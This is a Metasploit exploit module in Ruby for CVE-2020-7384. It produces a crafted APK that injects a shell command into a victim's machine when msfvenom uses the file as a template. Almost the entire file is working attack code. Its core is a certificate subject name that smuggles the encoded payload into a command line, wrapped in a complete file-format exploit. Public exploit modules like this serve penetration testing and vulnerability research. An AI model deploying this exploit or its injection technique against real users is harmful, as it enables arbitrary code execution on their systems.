##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/zip/jar'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Rapid7 Metasploit Framework msfvenom APK Template Command Injection',
'Description' => %q{
This module exploits a command injection vulnerability in Metasploit Framework's msfvenom
payload generator when using a crafted APK file as an Android payload template. Affects
Metasploit Framework <= 6.0.11 and Metasploit Pro <= 4.18.0. The file produced by this
module is a relatively empty yet valid-enough APK file. To trigger the vulnerability,
the victim user should do the following:
msfvenom -p android/<...> -x <crafted_file.apk>
},
'License' => MSF_LICENSE,
'Author' =>
[
'Justin Steven' # @justinsteven
],
'References' =>
[
['URL', 'https://github.com/justinsteven/advisories/blob/master/2020_metasploit_msfvenom_apk_template_cmdi.md'],
['CVE', '2020-7384'],
],
'DefaultOptions' =>
{
'DisablePayloadHandler' => true
},
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'Payload' => {
'BadChars' => "\x22\x2c\x5c\x0a\x0d"
},
'Targets' => [[ 'Automatic', {}]],
'Privileged' => false,
'DisclosureDate' => '2020-10-29'
)
)
register_options([
OptString.new('FILENAME', [true, 'The APK file name', 'msf.apk'])
])
end
def build_x509_name
name = "CN=';(#{payload.encoded}) >&- 2>&- & #"
OpenSSL::X509::Name.parse(name)
end
def generate_signing_material
key = OpenSSL::PKey::RSA.new(2048)
cert = OpenSSL::X509::Certificate.new
cert.version = 2
cert.serial = 1
cert.subject = cert.issuer = build_x509_name
cert.public_key = key.public_key
cert.not_before = Time.now
# FIXME: this will break in the year 2037 on 32-bit systems
cert.not_after = cert.not_before + 1.year
# Self-sign the certificate, otherwise the victim's keytool gets unhappy
cert.sign(key, OpenSSL::Digest::SHA256.new)
[cert, key]
end
def exploit
print_warning('Warning: bash payloads are unlikely to work') if datastore['PAYLOAD'].include?('bash')
apk = Rex::Zip::Jar.new
apk.build_manifest
cert, key = generate_signing_material
apk.sign(key, cert)
data = apk.pack
file_create(data)
end
end
